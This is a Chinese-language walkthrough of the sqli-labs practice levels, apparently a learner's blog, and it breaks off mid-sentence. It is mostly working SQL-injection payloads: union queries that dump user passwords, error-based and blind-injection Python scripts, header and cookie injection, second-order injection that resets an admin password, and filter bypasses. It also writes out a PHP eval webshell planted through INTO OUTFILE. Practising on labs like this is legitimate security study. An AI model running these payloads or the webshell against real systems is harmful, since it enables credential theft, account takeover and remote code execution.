前言:最近做了一些sql注入的题目,发现自己还是不怎么会,很多东西都还没有见过,所以就下载了sqli-lab来练一练,每天至少做一题。
这个没有任何过滤,就不说了。
///0' order by 3 ///0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # ####emails,referers,uagents,users ///0' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' # #####USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password ///0' union select group_concat(username),group_concat(password),group_concat(id) from users #输入1,正常显示,输入1‘,报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1所以这是一个intiger injection。 输入
1 order by 1 正常回显 1 order by 2 正常回显 1 order by 3 正常回显 1 order by 4 不正常回显 所以我们可以知道有3个字段继续
0 union select 1,2,3 #回显说明 显示第二个和第三个。 继续注入
0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #爆出表名 emails,referers,uagents,users 继续注入
0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #爆出字段名 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password 继续注入
0 union select 1,group_concat(username),group_concat(password) from users #爆出所有用户名和密码。
首先输入1,正常回显,输入1‘ 报错,报错如下。 说明原来的语句可能是这样的
select * from users where id=(' 变量 ') limit 0,1;打开语句果然是这样。接下来就和上面一样开始注入
0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #结果如下
emails,referers,uagents,users继续注入
0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #结果如下
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password继续注入
0') union select 1,group_concat(username),group_concat(password) from users #只是把上面的单引号换成了双引号。
打开测试了一下,发现显示 you are in …。一时间不知道如何下手,看了title,double query,双查询注入,查了一下。
1.聚合函数后面如果加了分组函数 就会报错,并会返回查询结果。聚合函数有这些
AVG([distinct] expr) COUNT({*|[distinct] } expr) MAX([distinct] expr) MIN([distinct] expr) SUM([distinct] expr) 其中count后面能加 '*'2.floor(rand()*2)生成随机数并且想下取整。为什么要用这个呢? floor(rand()*2),会生成0或者1,只要表里面有两个相同的就会报错。如下图所示。 这样就能报错注入了。
127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select database()),floor(2*rand()))as a from information_schema.tables group by a # // 127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(2*rand()))as a from information_schema.tables group by a # //其他的都类似就不写了。
还可以用多表查询的格式来报错注入
//select 1 from (table name); 多表查询 -1' union select 1,2,1 from (select count(*), concat((select user()), floor(rand()*2))as a from information_schema.tables group by a)b最后那个b也可以改为其他的,只是个别名,一定要加上去,因为每一个派生类的表都要有别名。
单引号换为双引号就行了。
输入 1 显示you are in —USE outfile—,接着输入1‘ 报错,接着输入1" 不报错,输入1’)#报错,输入1‘))#不报错,所以用1‘))来闭合,接着发现输入一些常用的,都不会显示结果,报错注入也没有用。然后看了title,outfile,于是上网搜索了一下,outfile。 于是用以下的payload。
id=1')) union select 1,2,'<?php @eval($_POST["123"]);?>' into outfile 'D:\\wamp\\tmp\\qwe.php' #试了其他的存放路径好像不太行,可能是权限问题吧,这样就上传了一句话木马,chopper连接就行了。
今天做了一下那个强网的sql注入题,呜呜呜,tcl。 输入1,回显you are in ,输入 1’ # ,有回显 。 说明这个是单引号闭合,可是又没有回显。这个时候,试一试盲注。
import requests url1='http://127.0.0.1/www/sql/Less-8/?id=' data="1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},sleep(5),0) #" table_name='' for i in range(1,20): for j in range(48,128): d=data.format(i,j) url=url1+d try: r=requests.get(url=url,timeout=5) except requests.exceptions.ReadTimeout: table_name+=chr(j) print(table_name)这样得到第一个表名,然后稍稍修改就行了。
这题无论输入什么,都不会报错,那这样输入
1' and 1=1 and sleep(5) #发现过了5s,浏览器才给予回应,接着这样输入
1“ and 1=1 and sleep(5) #这样就直接给予回应,所以这里应该是单引号闭合的,而且是一个盲注,所以我们写脚本。 脚本和less7的那个差不多,只要把url该一下就行了。
单引号改为双引号就行了。
尝试一下 admin’ or 1=1 #,密码随便输,竟然成功,所以这里就很简单了,没有任何过滤,hiahiahia。
1' union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #脱表名,然后就和之前一下很简单啦。
输入admin’ 没有任何回显,输入admin" 报错了 报错如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1可以的看到这里是用("")来闭合的,所以我们只要闭合这个"),就可以了。 输入admin") or 1=1 # 就可以得到username和password。 然后下面就很好注入了,依次得到数据库里面的内容。
简单的测试了一下,发现是‘)闭合的,而且没有回显,可以用基于布尔型的盲注,或者double query injection。 基于布尔型的盲注
1‘) or substr((查询语句),1,1)>'a' #double query injection
1') union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #建议使用基于布尔的盲注,因为double query 有的时候需要试好几次。
输入1‘ 没有回显,输入1“报错了,说明这个是双引号闭合,构造payload
1" union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #或者基于bool的盲注
1“ or substr(查询语句,1,1)>'a'#写python脚本进行盲注,当页面第一次出现失败的时候,字母的前一位就是正确的值。 下面只是一个小例子。
import requests url1='http://127.0.0.1/www/sql/Less-14/' flag='' for j in range(1,16): for i in range(47,127): payload={ 'uname':"1\" or ascii(substr((select database()),{},1))>{} #", 'passwd':'1' } payload['uname']=payload['uname'].format(str(j),str(i)) r=requests.post(url=url1,data=payload) print(payload) if 'flag' not in r.content.decode('utf-8'): flag+=chr(i) break print(flag)十五.Less-15 输入 1‘ or 1=1 #成功 输入 1" or 1=1 #失败 所以是单引号闭合 这边不会报错,所以我们就用盲注,基于bool,或者时间。 基于bool
import requests url1='http://127.0.0.1/www/sql/Less-15/' flag='' for j in range(1,16): for i in range(47,127): payload={ 'uname':"1' or ascii(substr((select database()),{},1))>{} #", 'passwd':'1' } payload['uname']=payload['uname'].format(str(j),str(i)) r=requests.post(url=url1,data=payload) print(payload) if 'flag' not in r.content.decode('utf-8'): flag+=chr(i) break print(flag)经过一番小测试,测试出来原来的语句是用") 来闭合的。输入admin") and if(2>1,sleep(5),3)#发现浏览器果然过了5秒钟,才给予回应,所以我们可以时间盲注来进行注入,当然我们也可以用基于bool的盲注,进行注入。 这里我只贴出基于时间盲注的一个小脚本,需要使用的时候自己稍微改一下,也不是很麻烦。我这里为什么要加ascii呢,因为我之前跑的时候,发现他这个不会区分大小写,这就很难受,所以我加了ascii。
import requests url="http://127.0.0.1/www/sql/Less-16/" flag="" for i in range(1,15): for j in range(48,127): payload={ 'uname':'admin") and if(ascii(substr((select database()),{},1))={},sleep(3),1)#', 'passwd':'1' } payload['uname']=payload['uname'].format(str(i),str(j)) try: r=requests.post(url=url,data=payload,timeout=3) except: flag+=chr(j) print(flag) print('the data is '+flag)用的时候需要自己改查询语句。
登陆页面我们发现这是一个密码重置,所以猜测后台的sql语句是这样的,
update set password=' ' where username=xxxx可以用updatexml,也可以用extractxml进行注入。
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #然后就很简单了,查数据就行了。
进入网址,测试了一番没有什么用,然后读了源码,发现这个题目必须要登陆进去才能进行注入。注入点在哪呢,host肯定是不能注入的,uname也肯定是不能注入的,只能在uagent那边进行注入。 源代码如下
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-18 Header Injection- Error Based- string</title> </head> <body bgcolor="#000000"> <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div> <div align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;"> <div style="padding-top:10px; font-size:15px;"> <!--Form to post the contents --> <form action="" name="form1" method="post"> <div style="margin-top:15px; height:30px;">Username : <input type="text" name="uname" value=""/> </div> <div> Password : <input type="text" name="passwd" value=""/></div></br> <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div> </form> </div> </div> <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center"> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .$IP; echo "<br>"; //echo 'Your User Agent is: ' .$uagent; // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "<br>"; echo 'Your Password:'. $passwd; echo "<br>"; echo 'Your User Agent String:'. $uagent; echo "<br>"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } } ?> </font> </div> </body> </html>所以我们这边利用报错注入得到数据。 burp抓包,修改数据。
User-Agent: hahaha' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1 User-Agent: hahaha' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1以上两个都可以,这样就得到了数据内容。接下来还和常规套路一样,直接爆表那些的。
主要代码如下
$uagent = $_SERVER['HTTP_REFERER']; $IP = $_SERVER['REMOTE_ADDR']; $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; mysql_query($insert); }我们可以修改referer,然后造成报错注入。 burp抓包,修改referer为下面内容
Referer: 123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1 或者 Referer: 123' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1接着就是常规套路,?
首先登陆进去,看到页面返回如下信息。 看到这里有cookie,我们就想到cookie注入。 用burp抓包尝试一下注入。 将cookie改为1‘ ,页面会报错。 将cookie改为1“,页面正常显示。 所以我们这里开始注入,测试发现原来查询语句,查询了3个字段,回显在第二,第三字段。 如下图所示。 然后就可以按常规发放注入了。
源代码如下。
$cookee = base64_decode($cookee); echo "<br></font>"; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";cookie注入,burp抓一下包,发现cookie用了base64加密了,那只需要将我们的注入语句进行base64加密就行了。 请求包如下
GET /index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAj Upgrade-Insecure-Requests: 1重要代码如下
$cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; echo "<br></font>"; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";这边的cookie被他用双引号给引起来了,所以还是很简单。 请求包如下
GET /Less-22/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCkgIw== Upgrade-Insecure-Requests: 1测试了一下,这边是单引号闭合,而且把注释符给过滤了,不过并没有什么用。我们可以通过 and ‘1’=‘1 这种方式来闭合单引号,这样就不需要注释了,嘻嘻嘻。 这边的姿势就很多了,可以直接union查询,也可以报错注入。
-1' union select 1,2,3 and '1'='1 -1' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1剩下的就很简单了。
这个是一个二次注入,虽然在执行sql语句的时候,加了/ 转义,但是当数据插入表的时候,还是原来的语句,这个时候就造成了二次注入,这样我们就可以修改管理员的密码。 我们注册一个用户 叫 admin’# ,然后登陆进去修改密码,修改完后,admin的密码就是你刚刚修改的密码。为什么会这样呢,看一下下面这个update语句就知道了。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";当我们输入的时候,这个语句会变成这样子
update users set password='123' where username='admin'#' and password='$curr_pass';这个时候后面的的东西就被注释掉了,所以管理员密码也就被改掉了。
登陆进去发现他已经告诉我们了 and 和 or 被过滤了,然后我尝试输入anandd,发现回显and,说明他只是把and替换成了空,我们这里可以双写绕过,这就很简单了,嘿嘿嘿。 payload如下
-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() #注意这里的information里面的or要双写,这样我们就可以得到了数据库里面所有的内容。
这里过滤了空格和and or,不过没关系,我们都可以绕过的。 payload如下,利用报错注入。
id=0'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1))||''='a过滤了select,union,发现union可以双写绕过,select就不能双写绕过了,然而可以大小写绕过,这样就很简单了,嘻嘻嘻。空格可以用